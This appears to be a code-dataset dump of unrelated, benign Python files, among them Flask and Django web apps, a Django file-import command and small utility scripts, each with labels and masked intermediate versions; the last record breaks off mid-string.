# -*- coding: utf-8 -*- import os from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore class Config: SECRET_KEY = os.environ.get('SECRET_KEY') # github GITHUB_OAUTH2 = { #github上获取 'client_id': '', 'client_secret': '', 'callback_url': '', 'scope': 'user', 'auth_url': 'http://github.com/login/oauth/authorize?client_id={client_id}&scope={scope}&state={csrf}' '&redirect_uri={redirect_uri}', } # access_token过期时间设置,单位天 ACCESS_TOKEN_EXP = 30 # cookie 名称 AUTH_COOKIE_NAME = 'token' # elastisearch配置,docker配置,所以host直接使用名称,正常情况为ip ELASTICSEARCH_URL = "elasticsearch:9200" # scrapyd配置 SCRAPYD_URL = "http://127.0.0.1:6800" SCRAPY_PROJECT_NAME = "spider_tophub" # 爬虫scheduler配置 JOBSTORES={'default': SQLAlchemyJobStore(url='mysql+pymysql://your_user:your_user_password@mysql:3306/your_databases')} JOB_DEFAULTS={ 'coalesce': True, 'max_instances': 1 } class DevelopmentConfig(Config): DEBUG = True SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or 'mysql+pymysql://your_user:your_user_password@mysql:3306/your_databases' # 关闭flask_sqlalchemy事件系统 SQLALCHEMY_TRACK_MODIFICATIONS = False config = { 'development': DevelopmentConfig, 'default': DevelopmentConfig }
normal
{ "blob_id": "af7a124c873dda02ba2a78e85965aa243d791863", "index": 3432, "step-1": "# -*- coding: utf-8 -*-\nimport os\nfrom apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore\n\n\nclass Config:\n SECRET_KEY = os.environ.get('SECRET_KEY')\n # github\n GITHUB_OAUTH2 = {\n #github上获取\n 'client_id': '',\n 'client_secret': '',\n 'callback_url': '',\n 'scope': 'user',\n 'auth_url': 'http://github.com/login/oauth/authorize?client_id={client_id}&scope={scope}&state={csrf}'\n '&redirect_uri={redirect_uri}',\n }\n # access_token过期时间设置,单位天\n ACCESS_TOKEN_EXP = 30\n\n # cookie 名称\n AUTH_COOKIE_NAME = 'token'\n\n # elastisearch配置,docker配置,所以host直接使用名称,正常情况为ip\n ELASTICSEARCH_URL = \"elasticsearch:9200\"\n\n # scrapyd配置\n SCRAPYD_URL = \"http://127.0.0.1:6800\"\n SCRAPY_PROJECT_NAME = \"spider_tophub\"\n\n # 爬虫scheduler配置\n JOBSTORES={'default': SQLAlchemyJobStore(url='mysql+pymysql://your_user:your_user_password@mysql:3306/your_databases')}\n JOB_DEFAULTS={\n 'coalesce': True,\n 'max_instances': 1\n }\n\n\nclass DevelopmentConfig(Config):\n DEBUG = True\n SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or 'mysql+pymysql://your_user:your_user_password@mysql:3306/your_databases'\n # 关闭flask_sqlalchemy事件系统\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\n\n\n\n\nconfig = {\n 'development': DevelopmentConfig,\n 'default': DevelopmentConfig\n}", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
from functools import partial def power_func(x, y, a=1, b=0): return a * x ** y + b new_func = partial(power_func, 2, a=4) print(new_func(4, b=1)) print(new_func(1))
normal
{ "blob_id": "c9f1768e2f2dd47d637c2e577067eb6cd163e972", "index": 8331, "step-1": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\n<mask token>\nprint(new_func(4, b=1))\nprint(new_func(1))\n", "step-3": "<mask token>\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\nnew_func = partial(power_func, 2, a=4)\nprint(new_func(4, b=1))\nprint(new_func(1))\n", "step-4": "from functools import partial\n\n\ndef power_func(x, y, a=1, b=0):\n return a * x ** y + b\n\n\nnew_func = partial(power_func, 2, a=4)\nprint(new_func(4, b=1))\nprint(new_func(1))\n", "step-5": null, "step-ids": [ 1, 2, 3, 4 ] }
[ 1, 2, 3, 4 ]
import xarray as xr import pandas as pd import numpy as np import matplotlib.pyplot as plt import pickle import seaborn as sns %load_ext autoreload %autoreload 2 %matplotlib data_dir = Path('/Volumes/Lees_Extend/data/ecmwf_sowc/data/') # READ in model (maybe want to do more predictions on historical data) from src.models import load_model, Persistence ealstm_path = data_dir / 'models/one_month_forecast/ealstm/model.pt' assert ealstm_path.exists(), \ 'Expected the unzipped file to have the model.pt file saved' persistence = Persistence(data_folder=data_dir) ealstm = load_model(model_path=ealstm_path) # TODO: need to predict from X variables in other files ealstm.evaluate_train_timesteps(year=np.arange(1990, 2010), month=3)
normal
{ "blob_id": "d265781c6b618752a1afcf65ac137052c26388a6", "index": 985, "step-1": "import xarray as xr\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport seaborn as sns\n\n%load_ext autoreload\n%autoreload 2\n%matplotlib\n\ndata_dir = Path('/Volumes/Lees_Extend/data/ecmwf_sowc/data/')\n\n# READ in model (maybe want to do more predictions on historical data)\nfrom src.models import load_model, Persistence\n\nealstm_path = data_dir / 'models/one_month_forecast/ealstm/model.pt'\nassert ealstm_path.exists(), \\\n 'Expected the unzipped file to have the model.pt file saved'\n\npersistence = Persistence(data_folder=data_dir)\nealstm = load_model(model_path=ealstm_path)\n\n# TODO: need to predict from X variables in other files\nealstm.evaluate_train_timesteps(year=np.arange(1990, 2010), month=3)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
from flask import Flask, Blueprint, render_template, request, redirect from repositories import manufacturer_repository, product_repository from models.manufacturer import Manufacturer from models.product import Product manufacturers_blueprint = Blueprint("manufacturers", __name__) @manufacturers_blueprint.route("/manufacturers", methods=["GET"]) def manufacturers(): manufacturers = manufacturer_repository.select_all() return render_template("manufacturers/index.html", manufacturers=manufacturers) @manufacturers_blueprint.route("/manufacturers/<id>", methods=["GET"]) def show(id): manufacturer = manufacturer_repository.select(id) return render_template("manufacturers/show.html", manufacturer=manufacturer) @manufacturers_blueprint.route("/manufacturers/add", methods=["GET"]) def add_manufacturer(): return render_template("manufacturers/add.html") @manufacturers_blueprint.route("/manufacturers", methods=["POST"]) def create_manufacturer(): name = request.form["name"] address = request.form["address"] deactivated = request.form["deactivated"] manufacturer = Manufacturer(name, address, deactivated) manufacturer_repository.save(manufacturer) return redirect("/manufacturers") @manufacturers_blueprint.route("/manufacturers/<id>/edit", methods=["GET"]) def edit_manufacturer(id): manufacturer = manufacturer_repository.select(id) return render_template("manufacturers/edit.html", manufacturer = manufacturer) @manufacturers_blueprint.route("/manufacturers/<id>", methods=["POST"]) def update_manufacturer(id): name = request.form["name"] address = request.form["address"] deactivated = request.form["deactivated"] manufacturer = Manufacturer(name, address, deactivated, id) manufacturer_repository.update(manufacturer) return redirect("/manufacturers") @manufacturers_blueprint.route("/manufacturers/<id>/delete", methods=["POST"]) def delete_manufacturer(id): manufacturer_repository.delete(id) return redirect('/manufacturers')
normal
{ "blob_id": "841e859feff2151667d70e7bf1829129d1f92cf7", "index": 9889, "step-1": "<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['GET'])\ndef manufacturers():\n manufacturers = manufacturer_repository.select_all()\n return render_template('manufacturers/index.html', manufacturers=\n manufacturers)\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['GET'])\ndef show(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/show.html', manufacturer=manufacturer\n )\n\n\n<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['POST'])\ndef create_manufacturer():\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated)\n manufacturer_repository.save(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/edit', methods=['GET'])\ndef edit_manufacturer(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/edit.html', manufacturer=manufacturer\n )\n\n\n<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/delete', methods=['POST'])\ndef delete_manufacturer(id):\n manufacturer_repository.delete(id)\n return redirect('/manufacturers')\n", "step-2": "<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['GET'])\ndef manufacturers():\n manufacturers = manufacturer_repository.select_all()\n return render_template('manufacturers/index.html', manufacturers=\n manufacturers)\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['GET'])\ndef show(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/show.html', manufacturer=manufacturer\n )\n\n\n@manufacturers_blueprint.route('/manufacturers/add', methods=['GET'])\ndef add_manufacturer():\n return render_template('manufacturers/add.html')\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['POST'])\ndef create_manufacturer():\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated)\n manufacturer_repository.save(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/edit', methods=['GET'])\ndef edit_manufacturer(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/edit.html', manufacturer=manufacturer\n )\n\n\n<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/delete', methods=['POST'])\ndef delete_manufacturer(id):\n manufacturer_repository.delete(id)\n return redirect('/manufacturers')\n", "step-3": "<mask token>\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['GET'])\ndef manufacturers():\n manufacturers = manufacturer_repository.select_all()\n return render_template('manufacturers/index.html', manufacturers=\n manufacturers)\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['GET'])\ndef show(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/show.html', manufacturer=manufacturer\n )\n\n\n@manufacturers_blueprint.route('/manufacturers/add', methods=['GET'])\ndef add_manufacturer():\n return render_template('manufacturers/add.html')\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['POST'])\ndef create_manufacturer():\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated)\n manufacturer_repository.save(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/edit', methods=['GET'])\ndef edit_manufacturer(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/edit.html', manufacturer=manufacturer\n )\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['POST'])\ndef update_manufacturer(id):\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated, id)\n manufacturer_repository.update(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/delete', methods=['POST'])\ndef delete_manufacturer(id):\n manufacturer_repository.delete(id)\n return redirect('/manufacturers')\n", "step-4": "from flask import Flask, Blueprint, render_template, request, redirect\nfrom repositories import manufacturer_repository, product_repository\nfrom models.manufacturer import Manufacturer\nfrom models.product import Product\nmanufacturers_blueprint = Blueprint('manufacturers', __name__)\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['GET'])\ndef manufacturers():\n manufacturers = manufacturer_repository.select_all()\n return render_template('manufacturers/index.html', manufacturers=\n manufacturers)\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['GET'])\ndef show(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/show.html', manufacturer=manufacturer\n )\n\n\n@manufacturers_blueprint.route('/manufacturers/add', methods=['GET'])\ndef add_manufacturer():\n return render_template('manufacturers/add.html')\n\n\n@manufacturers_blueprint.route('/manufacturers', methods=['POST'])\ndef create_manufacturer():\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated)\n manufacturer_repository.save(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/edit', methods=['GET'])\ndef edit_manufacturer(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template('manufacturers/edit.html', manufacturer=manufacturer\n )\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>', methods=['POST'])\ndef update_manufacturer(id):\n name = request.form['name']\n address = request.form['address']\n deactivated = request.form['deactivated']\n manufacturer = Manufacturer(name, address, deactivated, id)\n manufacturer_repository.update(manufacturer)\n return redirect('/manufacturers')\n\n\n@manufacturers_blueprint.route('/manufacturers/<id>/delete', methods=['POST'])\ndef delete_manufacturer(id):\n manufacturer_repository.delete(id)\n return redirect('/manufacturers')\n", "step-5": "from flask import Flask, Blueprint, render_template, request, redirect\nfrom repositories import manufacturer_repository, product_repository\nfrom models.manufacturer import Manufacturer\nfrom models.product import Product\n\nmanufacturers_blueprint = Blueprint(\"manufacturers\", __name__)\n\n@manufacturers_blueprint.route(\"/manufacturers\", methods=[\"GET\"])\ndef manufacturers():\n manufacturers = manufacturer_repository.select_all()\n return render_template(\"manufacturers/index.html\", manufacturers=manufacturers)\n\n@manufacturers_blueprint.route(\"/manufacturers/<id>\", methods=[\"GET\"])\ndef show(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template(\"manufacturers/show.html\", manufacturer=manufacturer)\n\n@manufacturers_blueprint.route(\"/manufacturers/add\", methods=[\"GET\"])\ndef add_manufacturer():\n return render_template(\"manufacturers/add.html\")\n\n@manufacturers_blueprint.route(\"/manufacturers\", methods=[\"POST\"])\ndef create_manufacturer():\n name = request.form[\"name\"]\n address = request.form[\"address\"]\n deactivated = request.form[\"deactivated\"]\n\n manufacturer = Manufacturer(name, address, deactivated)\n manufacturer_repository.save(manufacturer)\n return redirect(\"/manufacturers\")\n\n@manufacturers_blueprint.route(\"/manufacturers/<id>/edit\", methods=[\"GET\"])\ndef edit_manufacturer(id):\n manufacturer = manufacturer_repository.select(id)\n return render_template(\"manufacturers/edit.html\", manufacturer = manufacturer)\n\n@manufacturers_blueprint.route(\"/manufacturers/<id>\", methods=[\"POST\"])\ndef update_manufacturer(id):\n name = request.form[\"name\"]\n address = request.form[\"address\"]\n deactivated = request.form[\"deactivated\"]\n\n manufacturer = Manufacturer(name, address, deactivated, id)\n manufacturer_repository.update(manufacturer)\n return redirect(\"/manufacturers\")\n\n@manufacturers_blueprint.route(\"/manufacturers/<id>/delete\", methods=[\"POST\"])\ndef delete_manufacturer(id):\n manufacturer_repository.delete(id)\n return redirect('/manufacturers')\n\n", "step-ids": [ 5, 6, 7, 9, 10 ] }
[ 5, 6, 7, 9, 10 ]
# -*- coding: utf-8 -*- import os import subprocess import virtualenv from templateserver import __version__ as version DEFAULT_TEMPLATE_DIR = 'templates' DEFAULT_MEDIA_DIR = 'media' DEFAULT_STATIC_DIR = 'static' DEFAULT_ENV_DIR = '.env' DEFAULT_RUNSERVER_PATH = 'runserver.py' RUNSERVER_TEMPLATE = os.path.abspath(os.path.join(os.path.dirname(__file__), 'runserver_template.py')) def install_virtualenv(envdir): if not os.path.exists(envdir): virtualenv.create_environment(envdir, False) def install_django(envdir, version): pip = os.path.join(envdir, 'bin', 'pip') subprocess.call([pip, 'install', 'django==%s' % version]) def install_runserver(envdir, runserverpath, templatedir, mediadir, staticdir): python = os.path.join(envdir, 'bin', 'python') with open(RUNSERVER_TEMPLATE) as fobj: template = fobj.read() runserver = template.replace( '$PYTHON$', python ).replace( '$MEDIADIR$', mediadir ).replace( '$STATICDIR$', staticdir ).replace( '$TEMPLATEDIR$', templatedir ).replace( '$VERSION$', version ) with open(runserverpath, 'w') as fobj: fobj.write(runserver) os.chmod(runserverpath, 0755) def install(templatedir=DEFAULT_TEMPLATE_DIR, mediadir=DEFAULT_MEDIA_DIR, staticdir=DEFAULT_STATIC_DIR, runserverpath=DEFAULT_RUNSERVER_PATH, envdir=DEFAULT_ENV_DIR, django='1.3'): """ Install the runserver.py script """ install_virtualenv(envdir) install_django(envdir, django) install_runserver(envdir, runserverpath, templatedir, mediadir, staticdir) def main(): import argparse def directory(s): path = os.path.abspath(s) if os.path.exists(path): return path raise argparse.ArgumentTypeError('directory %r does not exist' % path) parser = argparse.ArgumentParser() parser.add_argument('-d', '--django', dest='django', default='1.3', help='Django version to use.') parser.add_argument('-t', '--templatedir', help='Folder with your templates.', default=DEFAULT_TEMPLATE_DIR) parser.add_argument('-m', '--mediadir', help='Folder with your media files (css/js).', default=DEFAULT_MEDIA_DIR) parser.add_argument('-s', '--staticdir', help='Folder with your static files (css/js).', default=DEFAULT_STATIC_DIR) parser.add_argument('-r', '--runserverpath', help='Location for your runserver.py executable.', default=DEFAULT_RUNSERVER_PATH) args = parser.parse_args() install(django=args.django, templatedir=args.templatedir, mediadir=args.mediadir, staticdir=args.staticdir, runserverpath=args.runserverpath) print 'done' if __name__ == '__main__': main()
normal
{ "blob_id": "3f41cb1acbbb1a397ae1288bca1cbcd27c0d3f33", "index": 5143, "step-1": "# -*- coding: utf-8 -*-\nimport os\nimport subprocess\nimport virtualenv\nfrom templateserver import __version__ as version\n\n\nDEFAULT_TEMPLATE_DIR = 'templates'\nDEFAULT_MEDIA_DIR = 'media'\nDEFAULT_STATIC_DIR = 'static'\nDEFAULT_ENV_DIR = '.env'\nDEFAULT_RUNSERVER_PATH = 'runserver.py'\n\nRUNSERVER_TEMPLATE = os.path.abspath(os.path.join(os.path.dirname(__file__), 'runserver_template.py'))\n\n\ndef install_virtualenv(envdir):\n if not os.path.exists(envdir):\n virtualenv.create_environment(envdir, False)\n\ndef install_django(envdir, version):\n pip = os.path.join(envdir, 'bin', 'pip')\n subprocess.call([pip, 'install', 'django==%s' % version])\n \ndef install_runserver(envdir, runserverpath, templatedir, mediadir, staticdir):\n python = os.path.join(envdir, 'bin', 'python')\n with open(RUNSERVER_TEMPLATE) as fobj:\n template = fobj.read()\n \n runserver = template.replace(\n '$PYTHON$', python\n ).replace(\n '$MEDIADIR$', mediadir\n ).replace(\n '$STATICDIR$', staticdir\n ).replace(\n '$TEMPLATEDIR$', templatedir\n ).replace(\n '$VERSION$', version\n )\n with open(runserverpath, 'w') as fobj:\n fobj.write(runserver)\n os.chmod(runserverpath, 0755)\n\ndef install(templatedir=DEFAULT_TEMPLATE_DIR, mediadir=DEFAULT_MEDIA_DIR,\n staticdir=DEFAULT_STATIC_DIR, runserverpath=DEFAULT_RUNSERVER_PATH,\n envdir=DEFAULT_ENV_DIR, django='1.3'):\n \"\"\"\n Install the runserver.py script\n \"\"\"\n install_virtualenv(envdir)\n install_django(envdir, django)\n install_runserver(envdir, runserverpath, templatedir, mediadir, staticdir)\n\n\ndef main():\n import argparse\n def directory(s):\n path = os.path.abspath(s)\n if os.path.exists(path):\n return path\n raise argparse.ArgumentTypeError('directory %r does not exist' % path)\n parser = argparse.ArgumentParser()\n parser.add_argument('-d', '--django', dest='django', default='1.3',\n help='Django version to use.')\n parser.add_argument('-t', '--templatedir', help='Folder with your templates.',\n default=DEFAULT_TEMPLATE_DIR)\n parser.add_argument('-m', '--mediadir', help='Folder with your media files (css/js).',\n default=DEFAULT_MEDIA_DIR)\n parser.add_argument('-s', '--staticdir', help='Folder with your static files (css/js).',\n default=DEFAULT_STATIC_DIR)\n parser.add_argument('-r', '--runserverpath', help='Location for your runserver.py executable.',\n default=DEFAULT_RUNSERVER_PATH)\n args = parser.parse_args()\n install(django=args.django, templatedir=args.templatedir,\n mediadir=args.mediadir, staticdir=args.staticdir,\n runserverpath=args.runserverpath)\n print 'done'\n\nif __name__ == '__main__':\n main()", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
def search4vowels(word): """ Return sny vowels founded in a supplied word.""" vowels = set('aeiou') found = vowels.intersection(set(word)) #return found for vowels in found: print(vowels)
normal
{ "blob_id": "8a21a7005fb17cc82759079022b540cf4fd062c5", "index": 3458, "step-1": "<mask token>\n", "step-2": "def search4vowels(word):\n \"\"\" Return sny vowels founded in a supplied word.\"\"\"\n vowels = set('aeiou')\n found = vowels.intersection(set(word))\n for vowels in found:\n print(vowels)\n", "step-3": "def search4vowels(word):\n \"\"\" Return sny vowels founded in a supplied word.\"\"\"\n vowels = set('aeiou')\n found = vowels.intersection(set(word))\n #return found\n for vowels in found:\n print(vowels)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from django.shortcuts import render_to_response, get_object_or_404 from django.http import HttpResponseNotFound from django.template import RequestContext from bgame.models import Game, Period, Player, ROLES from bgame.forms import GameForm import logging log = logging.getLogger(__name__) def index(request): games = Game.objects.all() return render_to_response('index.html', {'games': games, 'roles': ROLES, 'form': GameForm}, context_instance=RequestContext(request)) def game(request, game_slug, role): game_ = get_object_or_404(Game, game_slug=game_slug) player = get_object_or_404(Player, game__game_slug=game_slug, role=role) period = Period.objects.filter(player__game=game_).filter(player__role=role).order_by('-number')[0] return render_to_response('game.html', {'game': game, 'player': player, 'period': period}, context_instance=RequestContext(request)) def html(request): data = request.GET if 'template' in data: if data['template'] == 'game_listing': games = Game.objects.all() return render_to_response('game_listing.html', {'games': games, 'roles': ROLES,}, context_instance=RequestContext(request)) if data['template'] == 'period_listing': periods = Period.objects.filter(player__game__game_slug=data['game_slug']).filter(player__role=data['role']).exclude(number=0).order_by('-number') print 'number of periods found: %d' % (periods.count(),) return render_to_response('period_listing.html', {'periods': periods}, context_instance=RequestContext(request)) print 'template not in data' return HttpResponseNotFound()
normal
{ "blob_id": "6c825cb60475a1570e048cab101567bd5847d2c2", "index": 5113, "step-1": "from django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseNotFound\nfrom django.template import RequestContext\nfrom bgame.models import Game, Period, Player, ROLES\nfrom bgame.forms import GameForm\n\nimport logging\nlog = logging.getLogger(__name__)\n\ndef index(request):\n games = Game.objects.all()\n return render_to_response('index.html', {'games': games, 'roles': ROLES, 'form': GameForm},\n context_instance=RequestContext(request))\n\ndef game(request, game_slug, role):\n game_ = get_object_or_404(Game, game_slug=game_slug)\n player = get_object_or_404(Player, game__game_slug=game_slug, role=role)\n period = Period.objects.filter(player__game=game_).filter(player__role=role).order_by('-number')[0]\n\n return render_to_response('game.html', {'game': game, 'player': player,\n 'period': period}, context_instance=RequestContext(request))\n\ndef html(request):\n data = request.GET\n if 'template' in data:\n if data['template'] == 'game_listing':\n games = Game.objects.all()\n return render_to_response('game_listing.html', {'games': games, 'roles': ROLES,},\n context_instance=RequestContext(request))\n\n if data['template'] == 'period_listing':\n periods = Period.objects.filter(player__game__game_slug=data['game_slug']).filter(player__role=data['role']).exclude(number=0).order_by('-number')\n print 'number of periods found: %d' % (periods.count(),)\n return render_to_response('period_listing.html', {'periods': periods}, context_instance=RequestContext(request))\n\n print 'template not in data'\n\n return HttpResponseNotFound()\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#-*- coding: utf-8 -*- from __future__ import unicode_literals from django.core.files import File as DjangoFile from django.core.management.base import BaseCommand, NoArgsCommand from filer.models.filemodels import File from leonardo.module.media.models import * from filer.settings import FILER_IS_PUBLIC_DEFAULT from filer.utils.compatibility import upath from optparse import make_option import os MEDIA_MODELS = [Image, Document, Vector, Video] class FileImporter(object): def __init__(self, * args, **kwargs): self.path = kwargs.get('path') self.base_folder = kwargs.get('base_folder') self.verbosity = int(kwargs.get('verbosity', 1)) self.file_created = 0 self.image_created = 0 self.folder_created = 0 def import_file(self, file_obj, folder): """ Create a File or an Image into the given folder """ created = False for cls in MEDIA_MODELS: if cls.matches_file_type(file_obj.name): obj, created = cls.objects.get_or_create( original_filename=file_obj.name, file=file_obj, folder=folder, is_public=FILER_IS_PUBLIC_DEFAULT) if created: self.image_created += 1 if not created: obj, created = File.objects.get_or_create( original_filename=file_obj.name, file=file_obj, folder=folder, is_public=FILER_IS_PUBLIC_DEFAULT) if created: self.file_created += 1 if self.verbosity >= 2: print("file_created #%s / image_created #%s -- file : %s -- created : %s" % (self.file_created, self.image_created, obj, created)) return obj def get_or_create_folder(self, folder_names): """ Gets or creates a Folder based the list of folder names in hierarchical order (like breadcrumbs). get_or_create_folder(['root', 'subfolder', 'subsub folder']) creates the folders with correct parent relations and returns the 'subsub folder' instance. """ if not len(folder_names): return None current_parent = None for folder_name in folder_names: current_parent, created = Folder.objects.get_or_create( name=folder_name, parent=current_parent) if created: self.folder_created += 1 if self.verbosity >= 2: print("folder_created #%s folder : %s -- created : %s" % (self.folder_created, current_parent, created)) return current_parent def walker(self, path=None, base_folder=None): """ This method walk a directory structure and create the Folders and Files as they appear. """ path = path or self.path base_folder = base_folder or self.base_folder # prevent trailing slashes and other inconsistencies on path. path = os.path.normpath(upath(path)) if base_folder: base_folder = os.path.normpath(upath(base_folder)) print("The directory structure will be imported in %s" % (base_folder,)) if self.verbosity >= 1: print("Import the folders and files in %s" % (path,)) root_folder_name = os.path.basename(path) for root, dirs, files in os.walk(path): rel_folders = root.partition(path)[2].strip(os.path.sep).split(os.path.sep) while '' in rel_folders: rel_folders.remove('') if base_folder: folder_names = base_folder.split('/') + [root_folder_name] + rel_folders else: folder_names = [root_folder_name] + rel_folders folder = self.get_or_create_folder(folder_names) for file_obj in files: dj_file = DjangoFile(open(os.path.join(root, file_obj)), name=file_obj) self.import_file(file_obj=dj_file, folder=folder) if self.verbosity >= 1: print(('folder_created #%s / file_created #%s / ' + 'image_created #%s') % ( self.folder_created, self.file_created, self.image_created)) class Command(NoArgsCommand): """ Import directory structure into the filer :: manage.py --path=/tmp/assets/images manage.py --path=/tmp/assets/news --folder=images """ option_list = BaseCommand.option_list + ( make_option('--path', action='store', dest='path', default=False, help='Import files located in the path into django-filer'), make_option('--folder', action='store', dest='base_folder', default=False, help='Specify the destination folder in which the directory structure should be imported'), ) def handle_noargs(self, **options): file_importer = FileImporter(**options) file_importer.walker()
normal
{ "blob_id": "864e9063ec1ed80cd1da3128a38633cbeb2f8bba", "index": 3775, "step-1": "<mask token>\n\n\nclass Command(NoArgsCommand):\n \"\"\"\n Import directory structure into the filer ::\n\n manage.py --path=/tmp/assets/images\n manage.py --path=/tmp/assets/news --folder=images\n \"\"\"\n option_list = BaseCommand.option_list + (make_option('--path', action=\n 'store', dest='path', default=False, help=\n 'Import files located in the path into django-filer'), make_option(\n '--folder', action='store', dest='base_folder', default=False, help\n =\n 'Specify the destination folder in which the directory structure should be imported'\n ))\n\n def handle_noargs(self, **options):\n file_importer = FileImporter(**options)\n file_importer.walker()\n", "step-2": "<mask token>\n\n\nclass FileImporter(object):\n <mask token>\n\n def import_file(self, file_obj, folder):\n \"\"\"\n Create a File or an Image into the given folder\n \"\"\"\n created = False\n for cls in MEDIA_MODELS:\n if cls.matches_file_type(file_obj.name):\n obj, created = cls.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.image_created += 1\n if not created:\n obj, created = File.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.file_created += 1\n if self.verbosity >= 2:\n print(\n 'file_created #%s / image_created #%s -- file : %s -- created : %s'\n % (self.file_created, self.image_created, obj, created))\n return obj\n <mask token>\n <mask token>\n\n\nclass Command(NoArgsCommand):\n \"\"\"\n Import directory structure into the filer ::\n\n manage.py --path=/tmp/assets/images\n manage.py --path=/tmp/assets/news --folder=images\n \"\"\"\n option_list = BaseCommand.option_list + (make_option('--path', action=\n 'store', dest='path', default=False, help=\n 'Import files located in the path into django-filer'), make_option(\n '--folder', action='store', dest='base_folder', default=False, help\n =\n 'Specify the destination folder in which the directory structure should be imported'\n ))\n\n def handle_noargs(self, **options):\n file_importer = FileImporter(**options)\n file_importer.walker()\n", "step-3": "<mask token>\n\n\nclass FileImporter(object):\n\n def __init__(self, *args, **kwargs):\n self.path = kwargs.get('path')\n self.base_folder = kwargs.get('base_folder')\n self.verbosity = int(kwargs.get('verbosity', 1))\n self.file_created = 0\n self.image_created = 0\n self.folder_created = 0\n\n def import_file(self, file_obj, folder):\n \"\"\"\n Create a File or an Image into the given folder\n \"\"\"\n created = False\n for cls in MEDIA_MODELS:\n if cls.matches_file_type(file_obj.name):\n obj, created = cls.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.image_created += 1\n if not created:\n obj, created = File.objects.get_or_create(original_filename=\n file_obj.name, file=file_obj, folder=folder, is_public=\n FILER_IS_PUBLIC_DEFAULT)\n if created:\n self.file_created += 1\n if self.verbosity >= 2:\n print(\n 'file_created #%s / image_created #%s -- file : %s -- created : %s'\n % (self.file_created, self.image_created, obj, created))\n return obj\n\n def get_or_create_folder(self, folder_names):\n \"\"\"\n Gets or creates a Folder based the list of folder names in hierarchical\n order (like breadcrumbs).\n\n get_or_create_folder(['root', 'subfolder', 'subsub folder'])\n\n creates the folders with correct parent relations and returns the\n 'subsub folder' instance.\n \"\"\"\n if not len(folder_names):\n return None\n current_parent = None\n for folder_name in folder_names:\n current_parent, created = Folder.objects.get_or_create(name=\n folder_name, parent=current_parent)\n if created:\n self.folder_created += 1\n if self.verbosity >= 2:\n print('folder_created #%s folder : %s -- created : %s' %\n (self.folder_created, current_parent, created))\n return current_parent\n\n def walker(self, path=None, base_folder=None):\n \"\"\"\n This method walk a directory structure and create the\n Folders and Files as they appear.\n \"\"\"\n path = path or self.path\n base_folder = base_folder or self.base_folder\n path = os.path.normpath(upath(path))\n if base_folder:\n base_folder = os.path.normpath(upath(base_folder))\n print('The directory structure will be imported in %s' % (\n base_folder,))\n if self.verbosity >= 1:\n print('Import the folders and files in %s' % 